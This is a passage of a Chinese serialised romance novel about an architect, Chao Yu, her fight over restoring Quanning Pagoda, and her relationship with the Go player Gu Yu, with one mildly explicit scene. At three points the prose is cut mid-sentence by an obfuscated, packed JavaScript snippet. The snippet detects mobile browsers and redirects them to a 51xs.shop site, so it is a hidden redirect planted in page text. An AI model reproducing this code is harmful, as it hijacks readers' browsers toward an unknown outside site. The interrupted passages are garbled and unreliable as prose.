杜昱德也不绕圈子:“晁小姐自己也是学建筑的人,应该知道木安街那成排的木制老屋有什么样的价值,更别提那座劝宁塔了。” 晁雨心想:什么价值。 如果无人问津,就是堆陈旧的老木头,在岁月里蒙尘。 杜昱德:“是这样,我的工作室和亚轩合作,联系到一位美国投资人,打算把木安街打造为商业街区,木制老建筑群迁址到劝宁塔边,保护起来,打造为一个文化景点。” 晚上晁雨下班回家,发现葛洁和晁正声提前收摊回来了。 葛洁搓着手问她:“是不是真的啊?” 晁雨:“什么?” “说今天下午看到个金毛猴子在街上走,说要把我们这条街的房子拆迁修商品房了,是不是真的啊?” 金毛猴子…… 晁雨默了一瞬:应该是指那个美国老板。 她点头:“我也听说了。” “啊呀。”葛洁又搓搓手,不知说什么似的。 晁雨在官帽椅坐下,给自己倒了杯陈皮水,笑道:“不是一早盼着这老房子能拆吗?虽然一个亿是不可能了,但也能补不少钱。” 葛洁也在她身边坐下,点点头:“是啊,以前是这么想的。” 以前拆迁热潮的时候,葛洁和晁正声看着以前的同学朋友,一个个搬出了老屋、住进了商品房,不知多敞亮,再也没有停电漏雨的问题。 晁正声喝着陈皮水,闷声不讲话。 葛洁瞥老公一眼:“那不是……以前觉得根本没拆迁的可能么。” 毕竟是地方级文物保护单位,一般开发商哪来那么大手笔,能把这些建筑迁过去保护起来,作为一个景点收门票。 晁雨:“现在能拆了,又舍不得啦?换了商品房,也是你的家。” “啊呀……”葛洁捏捏指节:“我也不晓得了。” 吃过晚饭,毛秀珍叫晁雨过去教她画画。 晁雨猜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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晁雨以前分明只见过他一次,却总觉得眼熟。 后来想明白了—— 因为杜昱德的笑,看起来和明恒宇一模一样。 一样的表面温文,一样的野心暗藏。 离开前,明恒宇私下找到晁雨:“不用攥着劝宁塔不放。你不就是想回北京的设计圈吗?我可以帮你。” “你知道Dylan吧?他现在负责米奥的设计部。上个月我让给他一个项目,我让他收你,他会帮我这个忙。” “然后我退出劝宁塔项目,好让这个项目署你和杜老的名字是么?”晁雨平静地问:“你们要拿劝宁塔做什么?参加国外的什么奖项?” 明恒宇又笑了:“你看,你总是这样。看起来温顺,其实又很有脾气。” “你知道为什么吗?因为你没真正穷过。真穷得吃不起饭的时候,你就怕了。” “这件事就像杜老说的,还有时间,你好好考虑。” 晁雨睡不着,爬起来给辜屿打视频。 辜屿接了。 晁雨侧躺在床上,辜屿的视线在他颈处点了下,她睡衣领口洗得松垮垮的,露出一线的好风景。 辜屿的视线旋即移开,落在晁雨的眼上。 晁雨:“吵到你了吗?” 辜屿收起棋谱:“没有。” 晁雨却已看到他手里的棋谱:“你继续看吧。你看棋谱,我看你。” 辜屿:? 晁雨故意道:“反正我有什么不开心的,以你的性格,也不可能安慰我对吧。” 辜屿:“说说看。” “明恒宇盯上劝宁塔这个项目啦,还搬出了杜老。”晁雨指尖绕着自己的发丝:“要是我还不成,他们又有钞能力,这个项目就要归他们啦。” 辜屿:“怕了?” “怕啊怎么不怕。”晁雨又把指尖绕成圈的发丝松开:“可人生有些事不就是这样么,怕得要死,还是要去做。” “就像我也怕和你分开。”晁雨说:“但我还是会和你在一起。” 辜屿沉默一瞬。 脸上的表情十分复杂。 晁雨:? 辜屿不止在棋盘上杀伐果决,日常也是个十分干脆的人。这还是晁雨第一次在他脸上,看到犹豫神色,开口问:“怎么了?” 辜屿好像内心挣扎许久。 终于把手机屏幕往自己脸那边移,缓缓地、慢慢地…… 然后在手机上亲了下,直接挂断视频。 晁雨愣了半晌。 猛然想起许辰懿曾告诉她:“我碰上你家辜屿弟弟了,我可教育他了啊。别总跟你闹别扭,要消化自己的情绪,同时体察你的情绪,比如你有什么累的啊、怕的啊,他就算不善言辞,总可以亲你一下吧?” “然后装个乖卖个萌。我是这样教他的——”许辰懿对着视频,浮夸而可爱的:“啾~” 当时晁雨险些没笑死。 这会儿笑眼弯弯地给辜屿回拨个视频过去。响了许久,辜屿才接。 晁雨:“你刚才是不是忘了什么?” 辜屿:“?” 晁雨:“啾~” 辜屿直接把视频给挂了。 晁雨笑得在床上蜷成了一只虾米。 62. 在一起09 第二天晁雨去上班。 九叔照旧玩着扫雷,好像昨天见到他那位功成名就的师弟,没给他造成任何刺激似的。 晁雨在自己办公桌前坐下,九叔瞥她一眼:“怎么还是来上班了?” 晁雨:“不来上班我去哪?” 九叔:“去北京啊。杜大师昨天都纡尊降贵地来了,就没许诺给你什么?” 哟,这阴阳怪气的小语气。 晁雨站起来:“行,我走。” 九叔端着大茶缸在那装模作样地喝茶呢,喝了半天没喝到,一看,哦,忘了泡。 他眼尾偷瞟着晁雨背着帆布包、还当真一推嘎吱作响的木门就走,心里啧的一声。 忍了两分钟,没忍住,背起双手跟着往办公室外走,一副“我可不是出来找人的我就是随便逛逛”的样儿。 一双眼却透过瓶底厚的眼镜片,滴溜溜地转。 然后瞥见,晁雨没走远,坐在街尾那家西安面馆吃面呢。 九叔哼一声,不露声色走过去,坐到晁雨对面。 晁雨瞧他一眼:“找我?” “不找你。”九叔看也不看晁雨,开始剥桌上的蒜:“我找你干嘛。” 晁雨就不理他,自顾自埋头吃面。 老头儿生啃了两瓣蒜,辣得吸吸嗦嗦的,叫晁雨:“面分我一口。” “不分。”晁雨护住自己的碗:“今早上刚好没吃早饭,我自己还不够吃呢。” 九叔扬声叫老板娘:“这儿再来碗面!这姑娘请客。” 晁雨抬眸:“干嘛我请?” 九叔抽了双筷子:“就上次那个小陈,她不是专项研究五代和唐建筑么,说有了些新发现,想找你聊聊。” “过完中秋,你去找她一趟。” 上次那位风姿卓雅的中年女士,就是九叔口中的“小陈”,陈凌娟教授。 晁雨心里门儿清:她一个被建筑设计圈“除名”的人,陈教授找她干嘛。 无非是九叔帮她约的呗。 晁雨:“怎么,到底还是被你那功成名就的师弟刺激了,想接招了呗?” “我接什么招。”九叔嗤一声:“我早就是人家的手下败将咯。” 每年晁雨过完生日,中秋也就不远了。 洵州的中秋别有意趣,一条蜿蜒的雩溪倒映着月影。晁雨一家人坐在天井里,老式月饼是豆沙口味,甜得发腻,唇齿轻一碰,酥皮就扑簌簌地落。 这样的甜腻必须得配一盏清茶,不用什么上好茶叶,满树的桂花会落进茶盏里添香。 晁雨把桌面的桂花拢了拢,堆在茶杯边,悄悄拍了张照给辜屿发过去。 杯沿半阙淡淡的唇形,是她先前抹的有色润唇膏。 葛洁摇着团扇:“你拍照干嘛?要发给谁?” “啊?”晁雨吓一跳:“没有没有,没要发给谁,我随便拍拍。” 正翻棋谱的辜屿收到微信。 垂眸,一只素白瓷茶盏的杯沿,淡淡的唇膏痕迹,像一瓣清透的桃花。 辜屿本想贴着屏幕摩一摩,拇指一蜷,摁住自己的指节。 打字:[等我回洵州。] 冷冷冰雨:[不等。] 冷冷冰雨:[你来打我啊.jpg] 事实上春闻杯已进入备赛阶段,辜屿很难抽得出空。 中秋节过去,晁雨捡漏抢了张特价车票,要从上海飞北京。 葛洁大大小小装了好些咸菜点心:“给你弟带过去。” “妈,妈妈,我是您的女儿,不是骆驼。” “啊呀,你弟一个人在上海律所实习,忙得来中秋都没法回来过,还是可怜的呀。”葛洁眉一蹙:“别又瘦成小时候那样子。” 晁雨飞抵北京的时间是下午。 许辰懿去了外地明天回,辜屿还在棋室。她谁也没招呼,自己坐地铁去了辜屿家,放下行李给晁二柱发微信:[晚上出来吃饭。] 不叫擎天柱偏叫大黄蜂:[你怎么又来北京了?] 嘿! 晚上晁雨找了家烧烤摊,烟熏火燎间坐在路边,眯眼看着晁二柱下班直接过来了,没来得及换衣服,一身西装,人模狗样。 晁二柱比辜屿还高一两厘米,练得很壮。 但晁雨看了半天,实在没法从一个客观角度,去评价她亲弟帅与否这件事。 晁二柱身高腿长,坐在路边摊的小塑料凳上有些憋屈,低头一看,傻了:“我俩今天扮兔子呗?” 他姐这都点了些啥啊。 烤韭菜,烤青椒,烤玉米粒,烤蘑菇。 晁雨白他一眼:“我为了劝宁塔的方案跑来跑去的,交通费都花了不少,哪儿有钱请你吃肉,你吃那么多你。” “我请。” “你请?你一个小实习生,要你请?” “姐你月薪涨没涨?” “怎么可能涨?” “哦。”晁二柱点点头:“那我实习期月薪是你五倍。” 晁雨:…… “现在律所待遇这么好的吗?” 晁二柱拿过沾了油的菜单在上面勾各种牛肉:“实习期也有评估,拿到A薪水就更高些。” 晁雨一时无言。 晁二柱从小是被家里宠大的,从来没什么紧迫感,做事情得过且过,大三了还在挂科。 可他突然跑来北京实习,挤破头进了家还不错的律所,晁雨也曾见过他深夜发朋友圈,说被上司骂得狗血淋头,发完五分钟又删掉。 周末还去打零工,甚至不是为了钱。 只因为他仰慕着的那个人,比他早起跑很多很多。他心里慌,不知做些什么,才能追上那人的背影。 晁雨把一整袋的瓶瓶罐罐扔给晁二柱:“你没回家过中秋,妈让我带给你的。” 晁二柱接过:“姐你慢点,这里面还有月饼呢。” 正当时,葛洁打来视频。 晁二柱接起:“妈。” “二柱子,拿到你姐带给你的东西了伐?” “拿到了,我姐她根本不好好拿,月饼的酥皮都碎了。”晁二柱把摄像头转向对面的晁雨:“还抢我的牛肉吃。” 葛洁:“你们俩怎么会在一起?” 此话一出,晁二柱傻了。 晁雨也傻了。 今晚姐弟相见,喝了两瓶夺命大乌苏,颇有些放松。一时间谁都忘了,晁二柱告诉葛洁的是他在上海实习。 “妈。”晁雨接话道:“原来二柱子来北京出差了,那些东西我拎到北京来才给他的。” “喔唷,拎那么老远呐。”葛洁问晁二柱:“你实习期就被派去出差呀?干得不错是不啦?转正以后能赚多少钱呀……” 挂断视频后,姐弟俩同时吁出一口气。 晁二柱看起来真挺忙的,又接到个同事打来的电话,晁雨能听到那是个年轻女孩的声音,轻灵柔婉。 晁二柱应答得礼貌却有距离感,谈完工作立即挂了电话。 晁雨在桌下踢他鞋尖:“人家可能对你有意思。” 晁二柱笑笑不说话。 晁雨试探着问:“没想过谈一段恋爱?” 这时忽然淅沥沥地下起雨来,所有小桌露天摆着,老板和老板娘冲过来,手忙脚乱帮着客人们把桌子搬到屋檐下。 晁雨和晁二柱也经历了一通忙乱,好险烧烤没被淋湿。 一场夜雨,让刚从南方而来的晁雨,陡然感到了北方深秋的凉意,抱着胳膊听晁二柱问她:“你又为什么不谈?” “我……” 这时晁雨的手机震了下。 垂眸去看,是辜屿发来的微信:[来了?] 应该是辜屿从棋室回家了,看到她的行李箱。 晁雨打字回复:[嗯。] ,:[在哪?] 冷冷冰雨:[跟我弟吃烧烤。] 冷冷冰雨:[过会儿回来。] 一抬头,发现晁二柱微眯着双眼正盯着她。 “姐。”晁二柱问:“你是不是有情况?” 晁雨内心经历了一番挣扎。她想告诉晁二柱,又想起小时候晁二柱的大嘴巴,几乎她所有的状都是被晁二柱告给葛洁的。 于是坚定摇头:“没有。” “绝对有!”晁二柱一拍小桌:“你就是不想告诉我!” 姐弟俩经历了漫长的拉扯,晁雨用心吃串,晁二柱用心“逼供”。 直到一道修长的影子笼下来。 两人抬头,晁二柱惊讶道:“狗哥?你怎么在这。” 辜屿:“看到你发了微博。” “哦对。” 晁二柱的工作压力是真大,微信加了不少同事不敢发朋友圈,就把微博当树洞使。有什么值得高兴的小事都发一条,给自己充电,让自己别疯。 刚才还顺手带了地址。 辜屿蒙着口罩,很随意在晁雨身边坐下,灯光幽暗,并不引人注目,他这才摘下口罩。 晁二柱对着对面的晁雨和辜屿看了眼。 这…… 他隐隐觉得有那么点不对劲,又说不上是哪里不对劲。 就因为狗哥无比自然地坐在了他姐旁边? 虽然这两人从小就不熟、看起来互相讨厌,晁二柱转念一想,毕竟这桌子小,他又这么壮,狗哥跟他坐一边的话多挤啊。 说不定因此才坐到了他姐旁边。 晁二柱决定忽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14027163|143130||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 略掉这点微妙,跟辜屿告状:“狗哥我觉得我姐谈恋爱了,但她打死也不肯跟我说。” 辜屿瞥了晁雨一眼。 她穿一件白色羊绒衫,高领,裹着纤细的颈项,配一条卡其色长裤,显得素净而温雅。在夜晚的一阵雨气间,抱着自己双臂,正跟晁二柱插科打诨,并不看他。 辜屿脱下自己的风衣。 晁二柱愣了下:“下雨了,最近降温挺明显的,狗哥你还热吗?” 辜屿只是淡淡应了句:“嗯。” 他的手在桌下动作,看起来像要把风衣放到一边,腕子一转,直接搭在了晁雨腿上。 晁二柱并没注意到这个小动作。 晁雨双膝臂并着,把辜屿的风衣往腿上盖了盖。风衣还带着他身上的温度。 晁二柱还在跟辜屿告状:“我姐绝对交男朋友了,我一看就知道。你说她为什么不承认?是不是这男的不怎么样啊!” “秃头?” “大肚子?” “身高一米五?” 辜.头发茂密.身材清矍.身高超一米八.屿:…… 叫晁二柱:“别瞎猜了。” 晁二柱:“那她为什么不承认?” 辜屿转向晁雨:“你为什么不承认?” 屋檐只在另角挂着盏暗暗的灯,他的面庞半笼在光影里,鼻峰挺拔,黑瞳半垂。 晁雨:“我……” 在桌下轻碰他的膝盖。 晁二柱又愣了。 这……狗哥为什么会这么熟稔地跟他姐说这么句啊? 可这两人毕竟也是从小一起长大的,狗哥顺着他的话这么问了句,好像又没什么。 晁二柱此时的感觉,就像你总觉得有人在盯着你、一回头却又什么人都捉不住一样。 他快抓狂了! 这时一个女孩走到桌边。 晁雨和晁二柱一起抬头,剩辜屿习惯性垂着眼睫。 女孩却轻声地叫:“辜屿。” 辜屿抬眸。 晁雨很明显看着他,凌厉的眼神一瞬松懈下来。 “还真是你。”女孩笑着指指烟熏火燎的烧烤架:“我让老板给你们加了些烧烤,你们慢点吃哦,我不打扰你们了。” 说完便远远跑向另一桌,乌发束成的马尾在脑后一晃一晃。 晁雨多看了眼,那是个很年轻的女孩,跟朋友出来聚餐,笑得明媚温婉。 晁二柱问:“狗哥,谁啊?” 辜屿应了句:“小时候的邻居。”便不多言了。 三人吃完便散了。 晁二柱坐末班公交回宿舍,辜屿蒙上口罩,和晁雨一同打车回家。 小区里静得松懈了人的神经,深秋已再寻不到虫鸣。 辜屿不知晁雨为什么不跟他并肩,反要走在他身后。直到晁雨戳一下他的肩,他回头。 晁雨有先前跟晁二柱喝那两杯夺命大乌苏垫底,背着手,双眼微挑,微咬着下唇:“刚才那个邻居,什么情况?” 辜屿盯着她被酒意染红的唇瓣。 唇形小巧,却有咬嘴唇的坏毛病,因为透出几分丰腴。 如果辜屿对谈恋爱这种事更有经验的话。 他就该意识到自己现在正面对一道送命题的考验。 但他浑然不觉,照实答道:“小时候住我家附近,她妈妈来家里帮忙做过饭。” “哦。”晁雨点点头:“你对她很好?” 辜屿:? 想了想说:“正常。” 但晁雨却知道,凌厉眼神那一瞬间的松懈,对辜屿来说已经太难得了。 那是一个辜屿难得不设防的人,甚至愿意走近的人。 晁雨撬不开他的嘴,转而问:“她妈妈是个什么样的人?” 辜屿:“和葛阿姨有一些像。” 晁雨本来和辜屿一起慢慢走着,倏然停下脚步。 辜屿看着她。 晁雨:“我今晚要去辰辰家睡。” “什么?”辜屿微蹙了下眉。 晁雨:“我想起来有点事要跟她说,走了。” 说完当真转身就走。 辜屿跨上前两步攥住她手腕:“你真就这么走了?” 晁雨一点点把他的手从腕间拂下去:“嗯。” 走出小区时微微往后偏头,又不想辜屿发现,就眼尾往后瞟着。 辜屿没有再追。 晁雨踢开一块路面小滚石,嘀咕一句:“不会吧?” 以前同明恒宇在一起时,她觉得自己堪称完美理性恋人,从没任何莫名小情绪。 合着那是因为她和明恒宇不算谈恋爱啊? 她这是……吃醋了? 63. 在一起10 许辰懿风尘仆仆从天津赶回北京,一边掏钥匙开门一边想着待会儿来片“前男友面膜”、还是来片鱼子精华面膜。 本来她这老小区楼道里的灯就时时坏,这时陡然撞上来迎接她的晁雨,吓得嗷一嗓子:“妈呀!” 晁雨抚着自己胸口,简直重回以前跟许辰懿同看恐怖片的时刻—— 不是被情节吓死的,是被许辰懿的尖叫吓死的。 许辰懿瞪着她问:“你不去辜屿弟弟家回本,在这干嘛?” 晁雨帮她把行李箱拖进来:“想你了不行啊?” “不行。”许辰懿一边换鞋一边说:“你又不知道我今晚回来,姐们儿这是凭借牛掰的工作能力搞定了客户,才提前回来的。” “你怎么着,跟辜屿弟弟吵架了啊?” “没吵。他话那么少吵得起来么。” “那就是闹别扭了。”许辰懿一掰晁雨的肩:“说,怎么回事。” 晁雨这思索时咬嘴唇的毛病是真改不了了。 最终她还是说:“算了,没什么。” “什么叫算了呀!” 晁雨对着许辰懿也说不出口。 她在反思自己是不是有点儿矫情。 她刚刚的确吃醋了,尽管辜屿什么也没做。但那女孩的出现,让晁雨忽然意识到一个问题—— 辜屿到底是因为她而喜欢她,还是因为她的家庭而喜欢她? 这话说起来有点绕。简而言之便是,如果不是她、而是另一个家庭温暖的女孩贯穿辜屿的成长,辜屿也会本能亲近她、最终喜欢上她么? 许辰懿走了两步来拉晁雨,晁雨一眼就看出她是在单腿发力了。 立马问:“你脚怎么了?” “嗨,穿着高跟鞋扭了下。” 晁雨急了:“那你还走路!你给我老实坐下。” 许辰懿坐到沙发上,晁雨一卷她精致利落的西裤,脚踝肿得馒头高。 晁雨立刻站起来:“我下楼给你买药。” 许辰懿去拉她的手:“多大点事。” “不行!” 晁雨匆匆往楼下跑。许辰懿这个人,永远踩着高跟鞋气宇轩昂,高跟鞋就是她的武器,她再不要过那种低人一等的生活。 晁雨刚跑出小区,竟看到了晁二柱。 晁二柱瞧见她也愣了,朝她走过来:“姐。” “你在这干嘛?” “你又在这干嘛?” “辰辰脚扭了,我给她买药。” 晁二柱扬了扬手里的纸袋,来自一家药房:“你拿上去。” 许辰懿发了朋友圈。 她是这样的人,工作时扭伤了脚、一定要发朋友圈给老板看到。不然用许辰懿自己的话说:“岂不是白疼?” 晁雨接过,晁二柱转身就走。 “等等。” 晁雨走上前:“如果没碰见我呢?你打算怎么办,上楼找她?” 晁二柱咧嘴笑了下:“上楼,但不找她。还没追上她的脚步时,我找她干嘛。” “放门口就走呗。” 晁二柱转回身,背影冲晁雨挥挥手:“姐,我走了啊。” 晁雨拎着药上楼。 许辰懿正在沙发上龇牙咧嘴,一看晁雨,又立马恢复神情。 “装。”晁雨白她一眼:“你脚肿得那馒头样,都能吃完一瓶老干妈了,我还不知道你疼啊?” 许辰懿贼兮兮地笑:“没想到你买药还挺快,这小短腿怎么跑的啊?” “我是比你矮,但也不是小短腿好吗。” 晁雨蹲下给许辰懿抹脚踝:“其实。” “嗯?” “这药是我弟买的。他看到你朋友圈了。” 许辰懿一瞬沉默。 撩了下自己的长卷发,换了个话题问晁雨:“怎么着,你今晚就在这睡了呗?” “我不止今晚在这儿睡,我在北京这几天都在这儿睡。” 许辰懿响亮地“呵”一声:“这可是你自己说的。” 晁雨拍胸脯:“我说的!” 晁雨来许辰懿这儿住极方便,洗漱睡衣都可以用许辰懿的。 睡前她看一眼手机。 辜屿没发来任何消息。 晁雨放下手机躺到枕头上,心想:弟弟真不行。 虽然体力特别棒,但在体察人情绪这方面上,真是短板。 - 第二天晁雨去见陈凌娟教授,还是约在五星级酒店的咖啡厅。 陈凌娟仍是那般风雅,配一条淡色的丝巾。她新有一篇论文在T类顶级期刊发表,研究主题正是五代和唐的木制建筑。 刚从意大利出差回来,可精神头极佳。晁雨和她当面聊一聊,收获颇丰,两人一聊便是整天,两顿饭也是吃咖啡厅的简餐解决。 结束已是深夜,陈凌娟照例问一句:“老师还好么?” 晁雨说了九叔近况,没忍住问:“为什么九……我是说祝老,他现在不碰建筑设计了?他说……他是杜昱德的手下败将。” 陈凌娟边收文件边道:“告诉你也无妨。” “老师指的,应该是我师弟那件事。” 祝境鹤曾遇到个天资颇高的小子,在他九岁的时候,就把他收进自己门下。 陈凌娟说:“你知道在我们这圈子,有人带学生,不管有意无意,会留那么一手。但老师对师弟不一样,可以说是倾囊相授,当亲儿子那么疼。” “老师一辈子没结婚,我一直以为给老师养老送终的会是我师弟。” “后来呢?” “后来我这师弟,遇到了杜昱德。” 祝境鹤和杜昱德,虽然师出同门,但两人理念不合,很早就分道扬镳。 一个布衣草芥,走遍名山大川。一个商务精英,在圈子里风生水起。 当时祝境鹤正在做自己最重要的一个项目。 宁县木塔,是现存中国境内最高、最古老的纯木结构楼阁式建筑。祝境鹤当时为了做这一版方案,捎带手把类似的纯木结构建筑都做了遍,所以他也做了劝宁塔的一版方案。 但方案都遇到了瓶颈,解决不了承重问题。 晁雨清楚地记得,宁县木塔后来作为古建筑修复界的标志性作品,署名是杜昱德。 晁雨轻声问:“是你那师弟,把祝老师做了一半的方案给杜昱德了?” “嗯。”陈凌娟啜了口咖啡:“后来我找师弟聊过一次,他说,按老师的方案,非要依循古法,这方案一辈子都做不出来。” “他说师姐,我不想再回垃圾堆里,去跟猫抢别人吃剩的馒头,这有错吗?” 后来方案到了杜昱德手里。 杜昱德的方法太激进,木塔几乎遭到结构性破坏。后来引入现代钢化材料,算是保住了木塔,并在包装下,成了古建筑修复的代表性作品。 陈凌娟的师弟走之前,对祝境鹤说的最狠的一句话是: “你这样的人,注定孤独终老。” 祝境鹤经此一役,心灰意冷。从此,古建筑界少了位名叫“祝境鹤”的大师,洵州多了个名叫“九叔”的木匠。 一坛黄酒,一把咸干花生,没日没夜地在街尾跟人下围棋。 醉倒了,就倒在灌木枝里睡一夜。醒来了,一拂满身的栀子花,摇摇晃晃哼着昆戏去上班。 晁雨听得心里挺不是滋味。 “十多年前的事啦。”陈凌娟收完资料站起来:“今天跟你聊完后,我觉得还有些资料可以给你看,明天老时间,还在这里见吧。” “好的。”晁雨送陈凌娟离去。 回程的一路上,晁雨脑子里想着祝境鹤的往事,没留神坐错了地铁。 出于惯性往前走了段,抬眸一瞧,才发现自己到了辜屿家门口。 懊恼地一敲额,也不知还能否赶上末班地铁,正准备匆匆走回地铁站,手机响起。 晁雨看了眼,抿唇,接起:“喂。” 辜屿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14037159|143130||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的声音素来淡而沉:“还没结束?” 辜屿知道她今天去见陈教授。 “结束了。” “那怎么没回来?” 晁雨怔了怔,反应过来:辜屿是去了许辰懿小区门口等她。 晁雨迟疑半秒,不想跟辜屿承认自己一个走神、就走到了他家。 辜屿却反应奇快:“你在家?” 他没说“你在我家”,而说——“你在家”。 晁雨轻咬着唇角:“嗯。” “等着。”辜屿说:“别在外面等,进去等。” 挂了电话,晁雨输密码开门。 其实环视一圈,这屋内已有了她的不少痕迹:拖鞋、行李箱、梳子……她被葛洁宠的,东西一路走到哪放到哪。 原本空荡荡的屋内,开始充盈起来。 辜屿回来得很快。 听到他在玄关换鞋的声音,晁雨在沙发上背对他坐着,刻意不回头看他。 他走到晁雨背后,理一理晁雨的长发。 从他的视角,能看到晁雨纠结间咬红了自己的嘴唇,让人联想起她中秋夜发来的那张照片。 若晁雨要诱惑她,无需蕾丝或制服,无需露出任何一个部位,一盏素白瓷茶杯口、半个淡淡的唇印,足以。 晁雨顿坐了半天,见他始终不讲话,刚要开口。 辜屿一把将人打横抱起。 晁雨半声惊呼堵在喉间,下意识阖眼,抬手搂住他后颈。失重感传来,是被他扔到了床上。 “在别扭什么?”他沉声问。 晁雨紧紧阖着眼,每当他释放这样的气场,第一反应其实是本能的怕,怕被他吞没。 辜屿拧开一盏台灯,灯光暖暖烫在晁雨的睫毛上,他抬手蹭了蹭晁雨微颤的睫毛,晁雨张开眼,他手往下落,拇指抵上晁雨的唇。 晁雨一开口,声音轻轻的,气息打在他指腹:“你对我是哪种喜欢?” “什么意思?” 晁雨轻翕了下睫毛:“如果不是我呢,是别人呢,你会喜欢上任何一个家庭温暖、让你向往的姑娘么?” 辜屿欺身过来,表情沉冷着。 晁雨下意识伸手挡了下,被他擒住手腕。 “晁雨。”他冷薄的气息笼罩下来,渐渐开始变调:“你知不知道很多时候,你都让我觉得自己不是个好人?” 他吻下来,脑子里想着那张照片上的唇印,重重吮咬。 晁雨能感到他身体的变化,搡了他一下:“急什么。说话,说清楚。” 辜屿觉得没什么好说的。 他简直不明白晁雨怎会冒出这么莫名其妙的念头。 他只是探索进去,往他熟悉的最深处探索。晁雨一瞬阖上眼,又去咬自己的下唇,辜屿拇指去拨她唇瓣:“松开。咬我。” 晁雨都说不上在自己是在抗拒、还是在迎合。她被抛掷向云端,又被推至悬崖边缘。 她睁着湿漉漉的近乎失神的眼,辜屿的吻印在她睫毛上:“你说我对你是哪种喜欢?” “你说我会不会对任何一个家庭温暖的姑娘,有同样的喜欢?” 晁雨去清理完以后,才发现许辰懿给她打了两个电话。 她在洗手间给许辰懿回电话。 许辰懿先是问:“安全?” “嗯。” “在哪呢?” 晁雨舌尖滞了下:“……辜屿家。” “哟——”许辰懿拖长语调,声音瞬间就变得懒洋洋的,甚至拖过一包旁边的瓜子开始嗑:“谁跟我拍胸脯来着。” “谁跟我说这几天都跟我睡来着。” 晁雨嘿嘿干笑两声:“我被弟弟给睡服了呗。” “嚯。”许辰懿:“你家弟弟那么沉默是金的人,怎么能舌灿莲花的说服你的?说来我听听。” 晁雨:“他是不爱讲话。” 许辰懿眨了两下眼,一颗瓜子呛进气管:“不是‘说服’,是‘睡服’啊——!” 64. 在一起11 晁雨醒来,简单打理了下,直接从辜屿家出发去见陈教授。 晚上晁雨打包了自己和许辰懿爱吃的麻辣烫,回许辰懿家等她下班。 许辰懿一见晁雨,眼尾眉梢就吊起来:“见过被‘说服’的,没见过被‘睡服’的。” “啊呀。”晁雨这会儿又觉得不好意思,打开麻辣烫的碗盖,夹起颗淀粉肉丸去堵她的嘴。 许辰懿张嘴吞了,又问:“辜屿弟弟呢,都被‘睡服’了还跑我这儿来。” “春闻杯集训的时间提前了,他去封闭训练了。” 是临时来的通知,以“小妖刀”郑旻勋为代表的韩国棋手来势汹汹,本来定为半个月的封闭训练延长为三周。 晁雨甚至没来得及再跟辜屿见一面。 许辰懿翘起兰花指点着晁雨,指尖浮夸地抖啊抖:“原来是辜屿弟弟没空了,你才来找我,你这个今天爱一个、明天爱一个的女人!” 晁雨差点没笑死:“别演啊,别演。” 她树袋熊一样挂上许辰懿的肩:“就算辜屿今天没去集训,我也来找你。” 许辰懿一拍她胳膊:“你先把筷子放下再抱行不行?我这衬衫挺贵的呐你别把油蹭我身上。” 第二天,晁雨收拾行李回了洵州。 辜屿忙,她也忙。跟陈凌娟的一场谈话收获颇丰,她忙着继续琢磨劝宁塔的修缮方案。 有了明恒宇的横插一脚,时间不等人。 这天晁雨下班后回家,又伏案绘制方案到深夜,一抬头的时候只觉得头昏眼花。 她抬手揉捏着自己的后颈,只觉得颈椎病都快犯了。 推开电脑放下铅笔,决定出门去散个步。 悠长的青石板路还是摇摇晃晃盛着月光。盛夏时节她不知多少次和辜屿一同踏过,到了现在变作她一个人,又是另一种意味的宁然。 她抬头望一眼天边的月。 想起辜屿说“我也怕输”时的神情。 古时有着对月亮祈愿的传统,但对有着唯物主义价值观的现代人来说实在太傻。晁雨沿着木安街兜了个圈,走到唐爷爷的小卖部又绕回来。 走到毛家小院门口,已近午夜时分,碰上个鬼鬼祟祟的人影,一边走一边左顾右盼,差点没撞晁雨身上。 毛秀珍猛一拍胸口:“死丫头大半夜你怎么在这!吓死我了你。” 又连连去捂自己的嘴:“不能说死,阿弥陀佛,不吉利。” 晁雨:“大半夜你干嘛去?” 毛秀珍又左顾右盼了一番,确定四下无人,才神神秘秘凑近晁雨耳边:“二狗子今年能不能赢那高丽棒子,全靠我了。” “啊?” 毛秀珍进一步压低语调:“我知道一尊特灵验的佛,得午夜十二点去拜。” 晁雨用从小接受唯物主义的蔑视语气问:“你信这个?” 毛秀珍幽幽看着她:“我听人说,很多运动员在大赛前要禁欲,其实不是为了体力精力啥的,是因为人的周身围绕着一股气。” 晁雨:…… 毛秀珍一拍巴掌:“这气要是破了怎么办呢?那人的运道就不好了呀!” 晁雨:“哦……” “虽然我家二狗子没有禁欲方面的困扰,但万一他有什么其他方面的破绽呢?万一他这周身的气破了呢?我拜这佛,能把这漏了的气补上。” 晁雨心想:这都什么乱七八糟的。 但,嘶,怎么好像说她心坎上了呢。 她半质疑半妥协地说:“这大半夜的你一个人也不安全,要不我陪你……” 毛秀珍就等她这句呢,很响亮的一声:“行!” 晁雨可算知道毛秀珍为什么要拉她一起了。 